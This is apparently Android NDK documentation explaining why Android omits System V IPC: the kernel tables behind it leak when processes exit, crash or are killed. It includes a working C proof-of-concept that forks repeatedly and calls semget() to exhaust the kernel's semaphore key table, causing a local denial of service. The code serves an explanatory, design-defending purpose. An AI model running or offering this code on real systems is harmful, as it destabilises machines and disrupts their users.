103 lines
3.1 KiB
Text
103 lines
3.1 KiB
Text
Android does not support System V IPCs, i.e. the facilities provided by the
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following standard Posix headers:
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<sys/sem.h> /* SysV semaphores */
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<sys/shm.h> /* SysV shared memory segments */
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<sys/msg.h> /* SysV message queues */
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<sys/ipc.h> /* General IPC definitions */
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The reason for this is due to the fact that, by design, they lead to global
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kernel resource leakage.
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For example, there is no way to automatically release a SysV semaphore
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allocated in the kernel when:
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- a buggy or malicious process exits
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- a non-buggy and non-malicious process crashes or is explicitely killed.
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Killing processes automatically to make room for new ones is an
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important part of Android's application lifecycle implementation. This means
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that, even assuming only non-buggy and non-malicious code, it is very likely
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that over time, the kernel global tables used to implement SysV IPCs will fill
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up.
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At that point, strange failures are likely to occur and prevent programs that
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use them to run properly until the next reboot of the system.
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And we can't ignore potential malicious applications. As a proof of concept
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here is a simple exploit that you can run on a standard Linux box today:
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--------------- cut here ------------------------
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#include <sys/sem.h>
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#include <sys/wait.h>
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#include <unistd.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <errno.h>
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#define NUM_SEMAPHORES 32
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#define MAX_FAILS 10
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int main(void)
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{
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int counter = 0;
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int fails = 0;
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if (counter == IPC_PRIVATE)
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counter++;
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printf( "%d (NUM_SEMAPHORES=%d)\n", counter, NUM_SEMAPHORES);
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for (;;) {
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int ret = fork();
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int status;
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if (ret < 0) {
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perror("fork:");
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break;
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}
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if (ret == 0) {
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/* in the child */
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ret = semget( (key_t)counter, NUM_SEMAPHORES, IPC_CREAT );
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if (ret < 0) {
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return errno;
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}
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return 0;
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}
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else {
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/* in the parent */
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ret = wait(&status);
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if (ret < 0) {
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perror("waitpid:");
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break;
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}
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if (status != 0) {
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status = WEXITSTATUS(status);
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fprintf(stderr, "child %d FAIL at counter=%d: %d\n", ret,
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counter, status);
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if (++fails >= MAX_FAILS)
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break;
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}
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}
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counter++;
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if ((counter % 1000) == 0) {
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printf("%d\n", counter);
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}
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if (counter == IPC_PRIVATE)
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counter++;
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}
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return 0;
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}
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--------------- cut here ------------------------
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If you run it on a typical Linux distribution today, you'll discover that it
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will quickly fill up the kernel's table of unique key_t values, and that
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strange things will happen in some parts of the system, but not all.
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(You can use the "ipcs -u" command to get a summary describing the kernel
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tables and their allocations)
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For example, in our experience, anything program launched after that that
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calls strerror() will simply crash. The USB sub-system starts spoutting weird
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errors to the system console, etc...
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